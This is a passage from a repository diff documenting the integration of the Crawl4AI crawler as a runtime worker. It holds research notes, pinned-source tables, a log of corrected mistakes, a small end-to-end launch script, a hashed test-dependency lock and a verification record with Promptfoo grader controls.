skill manifest was inspected. +The complete tree also contains the official `docs/md_v2/assets/crawl4ai-skill.zip`, +SHA256 `a0014632d6f16ede6477a4d4eb4635c7bfc37f03a08c95f9a4ff52a09ae66091`. +Its embedded SKILL.md is dated 2025-01-19, version 0.7.4, and is guidance for a +calling agent; it is not a framework skill loader. No skill installation is +proposed inside this crawler runtime. Native client +verification remains pending; the reviewed API is an MCP server, not an agent +harness that loads the stack's MCP servers or SKILL.md files. + +The selected sources meet this task through native AsyncWebCrawler, +LLMExtractionStrategy and the authenticated upstream Docker API/MCP server. +Alternative frameworks and third-party scraping skills do not close a demonstrated +gap for the user-selected crawler. Popularity was not used as acceptance evidence. + +## Round 2 source selection (before implementation) + +The supplied evaluation reports select **Promptfoo 0.123.1** for W8d, with +Crawl4AI v0.9.4's extraction regression as runner-up. The installed Promptfoo +reports 0.123.1 and its `eval --help` exposes `--assertions`, `--model-outputs`, +`--no-cache`, `--no-share` and `--no-write`. No installation was performed. +The installed search-first workflow delegated bounded read-only source research; +find-skills checked the skills.sh leaderboard and public search endpoint again. +The search returned `brettdavies/crawl4ai-skill` and +`lancelin111/crawl4ai-skill`; these remain caller guidance, not evidence that +Crawl4AI loads skills. No new skill is selected for this runtime. + +The exact implementation references for this round are: + +- [Promptfoo installation at 0.123.1](https://github.com/promptfoo/promptfoo/blob/0.123.1/site/docs/installation.md): + documented npm install, scoped with npm's `--prefix`; requires Node >=22.22.0. +- [Standalone output grading](https://github.com/promptfoo/promptfoo/blob/0.123.1/site/docs/configuration/expected-outputs/index.md#running-assertions-directly-on-outputs): + transport the retained native output as a JSON string array; Promptfoo's + unchanged [JSON](https://github.com/promptfoo/promptfoo/blob/0.123.1/src/assertions/json.ts) + and [equals](https://github.com/promptfoo/promptfoo/blob/0.123.1/src/assertions/equals.ts) + assertions own the verdict. No Python/JavaScript custom scorer is needed. + This is an upstream grader on our frozen fixture, not an unchanged upstream + test or a new model execution when replaying outputs. +- The report's [HTTP-provider mapping](https://github.com/promptfoo/promptfoo/blob/0.123.1/site/docs/providers/http.md) + cannot safely carry LLM extraction through this server revision's untrusted + configuration loader. Preserve native Python extraction and use the documented + standalone grader. [Server](https://github.com/unclecode/crawl4ai/blob/133e1d92e37885dfccc03ea2e3687d06c98b7ceb/deploy/docker/server.py#L514-L520) + and [API](https://github.com/unclecode/crawl4ai/blob/133e1d92e37885dfccc03ea2e3687d06c98b7ceb/deploy/docker/api.py#L688-L689) + are the transport boundary; this limitation is not silently patched. +- [Crawl4AI utils.py](https://github.com/unclecode/crawl4ai/blob/133e1d92e37885dfccc03ea2e3687d06c98b7ceb/crawl4ai/utils.py#L1825-L1837) + merges `extra_args` after its `json_object`/temperature defaults. + [Extraction](https://github.com/unclecode/crawl4ai/blob/133e1d92e37885dfccc03ea2e3687d06c98b7ceb/crawl4ai/extraction_strategy.py#L685-L741) + reads message content, so use a strict `json_schema` override with every object + closed, retain JSON in the user instruction, and preserve per-conversation + session/fresh logical-call headers. The gateway owner's cognee 1.6.1 observation + supplied by the user is the compatibility input; this builder does not repeat it. +- [Docker Compose services](https://docs.docker.com/reference/compose-file/services/) + and [networks](https://docs.docker.com/reference/compose-file/networks/) provide + explicit names and owner labels. Bind mounts are directories, not Docker volume + objects. The user's 3730..3799 range constrains published host listeners. +- Skill installation, if a calling agent needs it, follows the coordinator's + `tools/adoption/install_skills.py` with the specified manifest/project/universal + options. The current file lacks the new project/agent options; that calling-agent + operation stays pending the separate PR. No loader is added to Crawl4AI. + +Round 2 tests use the user-specified seams: output transport and upstream verdict +controls, gateway request options, host port validation, resource ownership, +receipt provenance, and the documented conditional skills installation command. +They remain local integration checks; the upstream assertions are executed +unchanged. Research scratch and test state are outside the repository. + +## Round-3 source selection (2026-09-27) + +All four supplied review/common inputs were read before repairs. Reviews are +leads, not upstream evidence. The installed search-first, find-skills, tdd and +verification-before-completion instructions were read; no worker was spawned +and no skill installed. The skills.sh leaderboard exposed existing testing and +verification skills. The already installed skills cover this repair; the +official Crawl4AI 0.7.4 skill archive remains unsuitable as a runtime loader. + +The selected runtime stays unclecode/crawl4ai@133e1d92e37885dfccc03ea2e3687d06c98b7ceb +(v0.9.4). Read-only `gh api repos/unclecode/crawl4ai/releases/tags/v0.9.4` +returned the release's native pip/Docker commands and published_at +2026-09-23T12:14:55Z. The builder has no installed Crawl4AI or Docker executable; +runtime capability claims therefore stay at source-evidence level. Installed +Claude returned 2.1.283 and its add-json help lists stdio/SSE/HTTP/WebSocket and +local/user/project scope. Installed npm returned 11.19.0. Direct shell GitHub +network access failed; read-only GitHub/registry research succeeded through the +available Context Mode research tool. No gateway was queried. + +| Integration behavior | Verified source (repository@pin, file:line) | Choice | +| --- | --- | --- | +| Gateway arguments and hidden drop_params | unclecode/crawl4ai@133e1d92 `crawl4ai/utils.py:1820-1837`; unclecode-litellm@1.81.13 verified wheel `litellm/main.py:1435-1459`, `litellm/utils.py:3925-3942,4677-4689` | Use native extra_args plus allowed_openai_params, not a patched runtime. Wheel SHA256 is `5e1fbedbed92333b48e7371e0bacf86d1288020451bf34351703c3b159591399`. | +| Correlation headers | Same verified wheel `litellm/llms/openai/openai.py:741-790`; encode/httpx@0.28.1 `docs/advanced/event-hooks.md:1-52` | Inject the supported native client, with a synchronous response hook; keep only correlation IDs in memory. | +| Conditional effort evidence | diegosouzapw/OmniRoute@a58000c7685f4091c7a6fd8ddf3ebce7d2ec67c3 `src/lib/usage/callLogs.ts:642-653` | Zero reasoning and missing effort are distinct. Never infer wire omission from null. | +| Compression delta | Same OmniRoute pin `src/app/api/analytics/compression/route.ts:13-24`, `src/lib/db/compressionAnalytics.ts:613-617` | Read cumulative all-time counters before/after engines-on; keep separate from provider usage. | +| Async native REST jobs | unclecode/crawl4ai@133e1d92 `deploy/docker/job.py:60-64,114-149`, `api.py:485-605,813-819,997-1078` | Supported POST/poll fallback with fixed non-LLM payload, native verdict and private result. | +| SSE MCP registration | Same Crawl4AI pin `deploy/docker/mcp_bridge.py:39-82,241-253`, `docs/md_v2/core/self-hosting.md:404-419`; anthropics/claude-code@v2.1.283 `CHANGELOG.md:5048,6971` plus installed add-json help and official MCP docs | Explicit SSE and dynamic headersHelper. Host connection/auth remains unmeasured. | +| Detached lifecycle and serialization | python/cpython@v3.12.12 `Lib/subprocess.py:506-570,749-815`, `Modules/fcntlmodule.c:273-328` | Thin local start/wait/result wrapper and nonblocking host file lock. No new runtime/orchestrator. | +| Grader dependency closure | promptfoo/promptfoo@0.123.1 `package.json:5,48-55`; npm/cli@v11.19.0 `docs/lib/content/commands/npm-ci.md:15-24` | Metadata-only lock generation; npm ci --ignore-scripts. No grader/assertion modifications. | +| Container hardening | compose-spec/compose-spec@914ec15d1fa498969c0df5c1d672306db3256089 `05-services.md:171-180,1839-1841,1955-1965,2029-2053`; Crawl4AI@133e1d92 `Dockerfile:180-209`, `deploy/docker/entrypoint.sh:8-39` and `supervisord.conf:8-32` | Supported capabilities, no-new-privileges, read-only root and tmpfs; native workers retain appuser. | +| Rootless host loopback | moby/moby@v28.5.1 `contrib/dockerd-rootless.sh:127-130,147-162` | Daemon-wide disable-host-loopback is the verified mechanism. Per-container port enforcement was not found in the reviewed mechanism; installed Docker is unavailable. Retain explicit residual risk, without an unsupported absence claim or daemon mutation. | + +The npm lock is a local derived artifact with 942 registry entries, each carrying +SHA512 integrity, bound by pins.json. Resolution command (metadata only): + +```bash +rtk env PYTHONDONTWRITEBYTECODE=1 TMPDIR="$PWD/.round3/tmp" npm install --package-lock-only --ignore-scripts --prefix "$PWD/blueprints/runtime-workers/crawl4ai/grader" --cache "$PWD/.round3/npm" --no-audit --no-fund +``` + +Returned output: `up to date in 25s`, exit 0. No node_modules directory was +created. The cache and all test scratch were removed before final validation. + +## Recorded corrections / anti-pattern log + +| Date | Proven mistake or unsafe assumption | Evidence and correction | +| --- | --- | --- | +| 2026-09-27, round 3 | Assuming `reasoning_effort` survives Crawl4AI's `drop_params=True` for an unknown GPT-6 slug | The verified unclecode-litellm 1.81.13 wheel, `utils.py:3925-3942,4677-4689`, extends supported parameters with `allowed_openai_params`. The request regression failed before adding that override and explicit max/max effort. Null effort is conditional evidence, not proof of omission: OmniRoute@a58000c7 `callLogs.ts:642-653`. | +| 2026-09-27, round 3 | Carrying the review's two-slash route and both-gateways usage assumption forward | The user's common requirements supersede the review: use `sharedgw/gpt-6-astra-max` and 20129's entry database for engines-on. Request, correlation-filter and separate-entry-database tests verify this local contract; host model-name/header observations remain pending. | +| 2026-09-27, round 3 | Treating every POST /md as an MCP tool invocation | The native bridge (`mcp_bridge.py:39-82` at 133e1d92) and direct probe share the route. The repaired receipt reports the combined route count and no inferred tool name; authenticated SSE and native CallToolRequest observations remain separate. | +| 2026-09-27, round 3 | Probing Promptfoo version before setting private log paths | The initial version probe returned 0.123.1 but reported EROFS while attempting default log rotation. No file was changed. Subsequent executions use the existing grader's per-test private config/log/cache environment; final verification checks the absence of worktree caches. | +| 2026-09-27, round 3 | Running publication validation while temporary npm metadata and grader test directories existed | The intermediate validator returned exit 1 with cache/publication-text and disappearing-test-file errors. Those temporary artifacts were removed; final validation runs only after tests and scratch cleanup. This was a builder sequencing error, not a repository waiver. | +| 2026-09-27, round 3 | Looking for the image definition at deploy/docker/Dockerfile and an API symbol beyond the file's length | Read-only GitHub API returned no valid file at that Dockerfile path. The pinned file is root `Dockerfile:180-209`; actual job status is `deploy/docker/api.py:485-605,997-1078` (1078 lines). The malformed read was discarded and the real sources were re-read. | +| 2026-09-27, round 3 | Retaining chmod-after-chown while removing CAP_FOWNER | The new ownership regression failed on the missing bootstrap ownership phase. Startup now takes only dedicated mount roots with CAP_CHOWN, chmods while their owner, then gives them to appuser. Runtime startup/restart remains a host check. | +| 2026-09-27, round 3 | Trying to replace one verification file with delete and add in a single apply_patch call | apply_patch rejected the duplicate target before mutation. A single update patch succeeded; final diff and publication checks cover the resulting file. | +| 2026-09-27, round 3 | Allowing receipt construction to raise again after configuration loading already failed | The damaged-config test raised from make_receipt in finally. The fallback now writes the stable minimal setup receipt and exits 2. A separate poll-failure regression verifies that losing evidence after REST enqueue exits 4, not a negative task verdict. | +| 2026-09-27 | Letting the local extraction checker own the verdict | Round 1's `check.py` computed equality itself. The round-2 adapter contract failed against that behavior. It now only transports bytes; unchanged Promptfoo 0.123.1 assertions returned 0/100/100 for correct/wrong-price/malformed controls. Tests also refuse missing/modified reports and changed input bytes. | +| 2026-09-27 | Assuming a grader's echoed output is byte-identical to its input file | Native Promptfoo's positive control succeeded, but the first receipt observation rejected it because the echoed response omitted the input's final newline (413 versus 414 characters). Preserve the exact input/report hashes and account for outer whitespace in the transport-binding check; the upstream verdict still owns product equality. `test_upstream_grader_controls_and_type_strictness` failed on the positive observation before correction. | +| 2026-09-27 | Letting a forbidden-data substring match the grader's name | The old privacy test rejected the harmless `promptfoo` harness name because it searched for `prompt` anywhere. Test forbidden JSON keys and planted private-value markers, while retaining the exact allowed gateway columns. The focused receipt suite first failed on this substring. | +| 2026-09-27 | Testing host port validation behind an unrelated scratch-location refusal | The assigned external research scratch has a Git ancestor. The first host-parser fixture hit the private-state location guard before it exercised ports. Substitute only the location policy in this unit fixture; the focused port test then failed because 3710 was accepted, and passes with 3730..3799. Production location guards remain intact. | +| 2026-09-27 | Assuming a SQLite transaction context closes its connection | Python 3.13 exposed an unclosed-connection ResourceWarning during local receipt checks. The [Python 3.12 documentation](https://docs.python.org/3.12/library/sqlite3.html#how-to-use-the-connection-context-manager) explicitly requires `contextlib.closing` for lifecycle closure; both the read-only receipt connection and synthetic fixture connections now use it. | +| 2026-09-27 | Running a CLI help probe before scoping its writable state | The installed Promptfoo version/help probes attempted to rotate default log files and received EROFS. Every grading/version subprocess now gets private `PROMPTFOO_CONFIG_DIR`, `PROMPTFOO_LOG_DIR` and `PROMPTFOO_CACHE_PATH` plus disabled telemetry/update; no default logs were changed. | +| 2026-09-27 | Treating a tag's lockfile as compatible without checking its metadata | `uv.lock` SHA256 `c672410c737e3085cae56d948854596284b7ac55066a97d9241d91913e3bb8e9` lists `litellm>=1.53.1`; v0.9.4 `pyproject.toml` and release wheel require `unclecode-litellm==1.81.13`. Use a derived hash lock from release metadata, label it local, and do not claim `uv sync --locked` acceptance. | +| 2026-09-27 | Assuming every uv lock entry has a version | The read-only research probe raised `KeyError: 'version'` on the editable root. Corrected the probe to inspect source and optional version separately. No install was attempted. | +| 2026-09-27 | Treating omission of temperature in caller config as omission on the wire | `crawl4ai/utils.py:1825` injects 0.01. Override through upstream `extra_args` with `temperature=None`; verify omission in the pinned LiteLLM transport and leave live wire behavior a host check. | +| 2026-09-27 | Binding only the container interface would break its MCP proxy | `deploy/docker/server.py:1183-1190` calls loopback internally. Preserve an explicit loopback listener alongside the container-interface listener through Gunicorn's supported repeatable bind option. | +| 2026-09-27 | Combining equivalent uv flags | `uv pip compile --only-binary :all: --no-build` exited 2 because the flags conflict. Removed `--no-build`; `--only-binary :all:` already excludes source builds. | +| 2026-09-27 | Assuming the shell's research channel has network access | The first corrected uv compile exited 2 after DNS failures. The same metadata-only command through context-mode succeeded with caches inside this recipe. Nothing was installed. | +| 2026-09-27 | Treating an upstream test as authoritative over its implementation | `tests/mcp/test_mcp_sse.py` points at `/mcp`; the live tag implementation serves `/mcp/sse` and requires initialization/auth. The fixture probe follows `mcp_bridge.py:241-256` plus the official MCP SDK transport. | +| 2026-09-27 | Assuming host-owned secret mounts are readable by the image's appuser | Independent review and registry config confirmed `User=appuser`. Rootless Docker maps host-owned 0600 files to container root. Startup now runs as container root, reads secrets privately, initializes only dedicated state mounts, and native supervisor runs Redis/Gunicorn as appuser. | +| 2026-09-27 | Counting a GET at a WebSocket path as WebSocket auth evidence | The initial probe only made a GET; review caught it. The corrected probe performs an actual unauthenticated WebSocket upgrade and requires 401/403 handshake refusal. | +| 2026-09-27 | Accepting one correct gateway row for three logical calls | Review found an `any()` effort gate. The corrected receipt requires exactly three matching-model successful rows, all with expected upstream effort. Retries/concurrent same-model rows fail qualification for review. | +| 2026-09-27 | Embedding the image account's home path in a portable config | `python3 scripts/validate.py` rejected the initial Compose browser path as a possible personal home path. The wrapper now resolves the image's appuser home through its account database and sets the browser path dynamically, preserving the upstream layout without a committed absolute home path. | +| 2026-09-27 | Leaving the previous failed condition present in a negative control | Offline review found the empty-result control still active when testing missing native logs, and missing logs still active for wrong effort. Each control now restores other passing inputs and asserts those independent gates remain passing. | + +## Dependency and browser artifact resolution + +The locally derived wheel lock uses the official release requirement and +`uv 0.12.17`'s supported requirements compilation, without installing: + +The command below records the historical round-1 invocation. Do not reuse its +in-repository cache argument: round-2 research and verification use only the +coordinator's assigned external scratch directory. + +``` +uv pip compile blueprints/runtime-workers/crawl4ai/requirements.in \ + --python-version 3.12 --python-platform x86_64-manylinux_2_35 \ + --generate-hashes --only-binary :all: --exclude-newer 2026-09-27T00:00:00Z \ + --cache-dir blueprints/runtime-workers/crawl4ai/.research/uv-cache \ + --output-file blueprints/runtime-workers/crawl4ai/requirements.lock --no-header --quiet +``` + +The resolver returned exit 0 without output. PyPI hashes are enforced at install +with `uv pip sync --require-hashes --only-binary :all:`; no source build or +unhashed build dependencies are permitted. This is our derived lock, not the +stale upstream `uv.lock`. Read [uv's supported workflow](https://docs.astral.sh/uv/pip/compile/). + +Playwright 1.63.0's PyPI wheel hash was checked before reading its bundled +`driver/package/browsers.json` and `driver/package/lib/coreBundle.js`. +The bundle maps headless Chromium to revision 1243 / browser 153.0.8010.12, +`builds/cft/153.0.8010.12/linux64/chrome-headless-shell-linux64.zip`, and ffmpeg +to `builds/ffmpeg/1011/ffmpeg-linux.zip` (lines 32652-32660, 32911-32923, +33016-33029). Download URL override is at 33650-33675. Both CDN responses were +streamed into SHA256 during research; no archive was installed/extracted. +These are measured hashes of upstream HTTPS bytes, not upstream signed checksums. +`browser-artifacts.json` freezes the digests and byte counts. At install a +loopback-only, verified local mirror feeds the unchanged Playwright install +command, preventing that command from fetching unchecked browser archives. + +The hash-verified `unclecode-litellm` 1.81.13 wheel exposes the native `extra_headers` +path. `litellm/utils.py`'s `base_pre_process_non_default_params` at 3588-3600 +excludes values equal to their defaults; `pre_process_non_default_params` at +3649-3654 supplies the chat parameter defaults (temperature=None). +`get_optional_params` uses that filtering before mapping OpenAI parameters; +`get_standard_openai_params` at 9008-9013 also excludes None. This is source +evidence for overriding Crawl4AI's hidden temperature default, not a live wire +observation. Actual omission, effort routing, session affinity and header retention +remain host checks. + +## Independent review + +A bounded read-only research worker reviewed deployment, install state, receipt +scope and the frozen E2E. Findings about mapped container ownership, repeat-install +permissions, WebSocket auth controls, working-directory use, complete input hashes, +timestamp normalization, per-page effort checks and unconditional cleanup were +resolved in the recipe. The upstream container LLM-control gap and WebSocket +message-shape concern are retained as limitations in README.md. Review agreement +is not host acceptance. The coordinator independently re-read the relevant +upstream source and rehashed registry metadata/provenance before recording pins. + +## Fail-first evidence + +Before this directory existed: + +``` +python3 -m unittest discover -s tests -p test_runtime_worker_crawl4ai.py +exit 1 +Ran 6 tests in 0.003s +FAILED (failures=3, errors=3) +``` + +The failures were missing recipe/check/fixture files and the errors were missing +worker configuration and installer. The command's actual returned output was +observed in the builder session. The compact record omits private absolute paths +from tracebacks. These are local structural checks, not unchanged upstream tests. diff --git a/blueprints/runtime-workers/crawl4ai/run-e2e.sh b/blueprints/runtime-workers/crawl4ai/run-e2e.sh new file mode 100755 index 000000000..19dae794c --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/run-e2e.sh @@ -0,0 +1,8 @@ +#!/usr/bin/env bash +# The coordinator runs this after installation; the builder runs offline tests only. +set -euo pipefail +NAS_CRAWL4AI_RECIPE="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)" +# shellcheck source=common.sh +source "$NAS_CRAWL4AI_RECIPE/common.sh" +export TMPDIR="$NAS_CRAWL4AI_STATE/tmp" +exec "$NAS_CRAWL4AI_PREFIX/venv/bin/python" "$NAS_CRAWL4AI_PREFIX/recipe/e2e/run.py" "$@" diff --git a/blueprints/runtime-workers/crawl4ai/test-requirements.lock b/blueprints/runtime-workers/crawl4ai/test-requirements.lock new file mode 100644 index 000000000..f8c99c6a9 --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/test-requirements.lock @@ -0,0 +1,15 @@ +# Native test tools for v0.9.4 tests/regression/; not runtime dependencies. +# Reuse the reviewed Python 3.12 artifact pins in ../gpt-researcher/requirements.lock. +# Run native uv pip check after this test-only overlay; the runtime lock stays unchanged. +iniconfig==2.3.0 \ + --hash=sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730 \ + --hash=sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12 +pluggy==1.6.0 \ + --hash=sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3 \ + --hash=sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746 +pytest==9.1.1 \ + --hash=sha256:1088fbde8f2b49d95a549a195707afa7a76a3ce9bcadc26b6d71f0ffda5fe313 \ + --hash=sha256:37a86b45efb9a47a61a36449063e8e18d0cab3161329fc099eb21783169c4f0c +pytest-asyncio==1.4.0 \ + --hash=sha256:933ca923a23075a87fb7070c0ec272a6848489824d887c85c812670932835aa1 \ + --hash=sha256:c6c0d2259945122819f171a32ecea2c349ead889ee28176caaf492143424be42 diff --git a/blueprints/runtime-workers/crawl4ai/verification-round2.json b/blueprints/runtime-workers/crawl4ai/verification-round2.json new file mode 100644 index 000000000..2b2ec2ede --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/verification-round2.json @@ -0,0 +1,224 @@ +{ + "schema_version": 1, + "date": "2026-09-27", + "round": 2, + "evidence_class": "local integration checks and unchanged upstream Promptfoo assertions on synthetic controls; no new model execution", + "upstream_grader": { + "repository": "https://github.com/promptfoo/promptfoo", + "version": "0.123.1", + "mode": "standalone is-json and equals", + "installed_during_this_task": false + }, + "fail_first": [ + { + "command": "PYTHONDONTWRITEBYTECODE=1 python3 -m unittest discover -s tests -p test_runtime_worker_crawl4ai.py", + "exit_code": 1, + "returned_summary": "Ran 9 tests in 0.285s\n\nFAILED (errors=2)", + "cause": "The old checker printed its own verdict; the upstream grader adapter did not exist." + }, + { + "command": "PYTHONDONTWRITEBYTECODE=1 python3 -m unittest discover -s tests -p test_runtime_worker_crawl4ai.py", + "exit_code": 1, + "returned_summary": "Ran 14 tests in 14.394s\n\nFAILED (failures=5, errors=3)", + "cause": "New ownership, model, structured-request, skills and receipt contracts failed before completion. Also exposed an unrelated scratch-location fixture refusal and trailing-newline binding error; corrected as recorded in research.md." + }, + { + "command": "PYTHONDONTWRITEBYTECODE=1 python3 -m unittest discover -s tests -p test_runtime_worker_crawl4ai.py -k private_host_ports", + "exit_code": 1, + "returned_summary": "Ran 1 test in 0.005s\n\nFAILED (failures=1)", + "cause": "After isolating the port parser, 3710 was accepted instead of rejected." + }, + { + "command": "PYTHONDONTWRITEBYTECODE=1 python3 -m unittest discover -s tests -p test_runtime_worker_crawl4ai.py -k receipt", + "exit_code": 1, + "returned_summary": "Ran 2 tests in 14.604s\n\nFAILED (failures=1)", + "cause": "The prior privacy test matched prompt inside the harmless promptfoo harness name; corrected to forbidden JSON keys and planted private-value markers." + } + ], + "fail_first_sanitization": "Exact command exit codes and terminal summary lines retained; absolute paths and full failing source dumps omitted.", + "final_unit": { + "command": "PYTHONDONTWRITEBYTECODE=1 python3 -m unittest discover -s tests -p test_runtime_worker_crawl4ai.py", + "exit_code": 0, + "stdout": "", + "stderr": "..............\n----------------------------------------------------------------------\nRan 14 tests in 28.193s\n\nOK\n" + }, + "controls": { + "known-pass": { + "harness": "promptfoo", + "version": "0.123.1", + "exit_code": 0, + "source_sha256": "254d9c19cafb60b6352979a7e15d94019555aa28f82cb4e30b8748607cf07d64", + "report_sha256": "223940aea16720c55c17dd3b673603534360f9a0ca6d29224f1e13fa21f3a7e6", + "assertions_sha256": "d6e63c2260cdab75272957a08807294e1470cf91d460a3f20bd9540ab8feb509", + "expected_sha256": "254d9c19cafb60b6352979a7e15d94019555aa28f82cb4e30b8748607cf07d64", + "upstream_success": true, + "upstream_score": 1, + "stats": { + "successes": 1, + "failures": 0, + "errors": 0 + }, + "assertions": [ + { + "type": "is-json", + "pass": true, + "score": 1 + }, + { + "type": "equals", + "pass": true, + "score": 1 + } + ] + }, + "known-fail": { + "harness": "promptfoo", + "version": "0.123.1", + "exit_code": 100, + "source_sha256": "d927a3af27319ecda4c24902f61bfdf454e27ae4ff17d1cc39751a88d3622c81", + "report_sha256": "8a1ab86089fe5aa4d290c00d9a40672e4c0a0551afa2add21233edd109c460fd", + "assertions_sha256": "d6e63c2260cdab75272957a08807294e1470cf91d460a3f20bd9540ab8feb509", + "expected_sha256": "254d9c19cafb60b6352979a7e15d94019555aa28f82cb4e30b8748607cf07d64", + "upstream_success": false, + "upstream_score": 0.5, + "stats": { + "successes": 0, + "failures": 1, + "errors": 0 + }, + "assertions": [ + { + "type": "is-json", + "pass": true, + "score": 1 + }, + { + "type": "equals", + "pass": false, + "score": 0 + } + ] + }, + "malformed-output": { + "harness": "promptfoo", + "version": "0.123.1", + "exit_code": 100, + "source_sha256": "5dce5ac2325436f5e428faca2073531a1760f01c46c42b26b4d1c5cda1cedc8a", + "report_sha256": "41286f1736bcbc206c9ff83ae42de725589daa43b6cd04b17376b844a2839905", + "assertions_sha256": "d6e63c2260cdab75272957a08807294e1470cf91d460a3f20bd9540ab8feb509", + "expected_sha256": "254d9c19cafb60b6352979a7e15d94019555aa28f82cb4e30b8748607cf07d64", + "upstream_success": false, + "upstream_score": 0, + "stats": { + "successes": 0, + "failures": 1, + "errors": 0 + }, + "assertions": [ + { + "type": "is-json", + "pass": false, + "score": 0 + }, + { + "type": "equals", + "pass": false, + "score": 0 + } + ] + } + }, + "publication_validation": { + "command": "PYTHONDONTWRITEBYTECODE=1 python3 scripts/validate.py", + "exit_code": 1, + "stdout": "Publication validation failed:\nblueprints/runtime-workers/crawl4ai/README.md: SHA-256 mismatch\nblueprints/runtime-workers/crawl4ai/README.md: byte count mismatch\nblueprints/runtime-workers/crawl4ai/common.sh: SHA-256 mismatch\nblueprints/runtime-workers/crawl4ai/common.sh: byte count mismatch\nblueprints/runtime-workers/crawl4ai/config/compose.yaml: SHA-256 mismatch\nblueprints/runtime-workers/crawl4ai/config/compose.yaml: byte count mismatch\nblueprints/runtime-workers/crawl4ai/container.sh: SHA-256 mismatch\nblueprints/runtime-workers/crawl4ai/container.sh: byte count mismatch\nblueprints/runtime-workers/crawl4ai/e2e/check.py: SHA-256 mismatch\nblueprints/runtime-workers/crawl4ai/e2e/check.py: byte count mismatch\nblueprints/runtime-workers/crawl4ai/e2e/receipt.py: SHA-256 mismatch\nblueprints/runtime-workers/crawl4ai/e2e/receipt.py: byte count mismatch\nblueprints/runtime-workers/crawl4ai/e2e/run.py: SHA-256 mismatch\nblueprints/runtime-workers/crawl4ai/e2e/run.py: byte count mismatch\nblueprints/runtime-workers/crawl4ai/host.py: SHA-256 mismatch\nblueprints/runtime-workers/crawl4ai/install.sh: SHA-256 mismatch\nblueprints/runtime-workers/crawl4ai/install.sh: byte count mismatch\nblueprints/runtime-workers/crawl4ai/pins.json: SHA-256 mismatch\nblueprints/runtime-workers/crawl4ai/pins.json: byte count mismatch\nblueprints/runtime-workers/crawl4ai/research.md: SHA-256 mismatch\nblueprints/runtime-workers/crawl4ai/research.md: byte count mismatch\nblueprints/runtime-workers/crawl4ai/worker.py: SHA-256 mismatch\nblueprints/runtime-workers/crawl4ai/worker.py: byte count mismatch\ntests/test_runtime_worker_crawl4ai.py: SHA-256 mismatch\ntests/test_runtime_worker_crawl4ai.py: byte count mismatch\n", + "stderr": "", + "gap": "Shared manifests/evidence.json retains round-1 hashes. The coordinator owns re-registration; this task cannot edit that shared file." + }, + "host_execution": { + "install": false, + "docker_pull": false, + "service_start": false, + "model_calls": false, + "live_gateway_database_read": false, + "unchanged_crawl4ai_regression_suite": "not run", + "promptfoo_assertions": "executed using already installed 0.123.1" + }, + "port_map": { + "api": "127.0.0.1:3730", + "fixture": "127.0.0.1:3731", + "browser_mirror": "127.0.0.1:3732", + "e2e_api": "127.0.0.1:3734" + }, + "owner_label": "com.native-agent-stack.owner=gpt6-omniroute-framework-integration", + "skills": { + "names_at_start": [], + "activation_events": [], + "status": "No native SKILL.md loader found in reviewed runtime; calling-agent installer command is pending the separate skills PR." + }, + "remaining_checks": [ + "Native install/reinstall and dependency closure", + "Browser and rootless container startup/cleanup/restart", + "API and SSE/WebSocket authentication and calls", + "GPT-6 primary/comparison extraction and gateway header/schema/sampling observations", + "Skill activation in a calling agent, if adopted" + ], + "limits": [ + "Three synthetic extraction pages do not establish general web quality or model superiority", + "HTTP LLM extraction is disallowed by the pinned untrusted-config loader; use native Python output grading", + "WebSocket message-envelope compatibility remains unmeasured", + "Npm transitive dependencies are not frozen by a lockfile", + "Allowed gateway columns cannot prove header retention or exclusive session attribution" + ], + "syntax": { + "python_ast_files": 8, + "shell_scripts": 5, + "exit_code": 0, + "returned_output": "Python AST and each shell script syntax passed" + }, + "compose_config": { + "command": "NAS_CRAWL4AI_PORT=3734 NAS_CRAWL4AI_STORE=e2e NAS_CRAWL4AI_PREFIX= NAS_CRAWL4AI_STATE= CRAWL4AI_MODEL=cx/gpt-6-astra-max docker compose --project-name rw-crawl4ai-e2e -f blueprints/runtime-workers/crawl4ai/config/compose.yaml config --quiet", + "version": "Docker Compose version v5.5.1", + "exit_code": 0, + "stdout": "", + "stderr": "", + "scope": "Parser only; no daemon request or service startup" + }, + "test_sha256": "6c3669f6221f501d3a7392ab298b93234bd610a979ebbf608df93a51c67150dd", + "recipe_hashes": { + ".gitignore": "6fa9c435f133f59f9198b520765a85fee8d71a16f1439e53fed49c95dc39158f", + "README.md": "e42e6f39bea6cea51febd723b6b315db660218845b7643c973f70da805f184b2", + "browser-artifacts.json": "2ccc245dc89b29d7586e8278d808301117d22740ad171810b06245201601da2d", + "common.sh": "610f526187b7104e37bfac76aa68f6328848e739f215229bf7bd4f962a453d51", + "config/compose.yaml": "cf9f6565adc6e6e822df8af7165d4c74f9ed03285e7a342a446941081c00dd57", + "config/host.example.json": "e096e196c7324a67de265fb58371747b72ef94a4f4e445ea66e216b8c44ed9b4", + "config/logging.ini": "b495284f90c1b328e98e7ab6dc48c7be37b7a35140a90e270ead4fef133098d8", + "config/mcp-policy.json": "7c253c5e14045a7310025b71ff21d45a8ef6002c22f7dc917084d3e1d152e8e1", + "config/server.yml": "2d77b444912fa70eac926a87b37ad4e5335f6953475a0702ecf52900972acac9", + "config/supervisord.conf": "a145e5d4db3d7f659a74246eaabf5d11e547d4368008bb796afb2e7fbbb7a548", + "config/worker.json": "430188ff02afb22e5e4f1939ec6a21769f73d9f9c8f0956d7faf156533cf8076", + "container-entrypoint.sh": "fe4072118c6d318b6e51ffbe11448ce57ad6f2470fd2e67d20815af8967f9510", + "container.sh": "dc753081dadc485d7e71b7f94a356ef718f306f52c8248db24081a0270394c60", + "e2e/assertions.json": "d6e63c2260cdab75272957a08807294e1470cf91d460a3f20bd9540ab8feb509", + "e2e/check.py": "7878f98bea665d4111e3ce76580b26b8d495e84651ed236f108492e381623dd7", + "e2e/expected.json": "254d9c19cafb60b6352979a7e15d94019555aa28f82cb4e30b8748607cf07d64", + "e2e/fixtures/beacon.html": "d743937367e843d738223dc1dc7aac0db363ef5173c53d188a68136d63f8739e", + "e2e/fixtures/flask.html": "b643e3617fc0681d2775da7f53bced1c8b60235b5f940af712bcad44d9a1d852", + "e2e/fixtures/lamp.html": 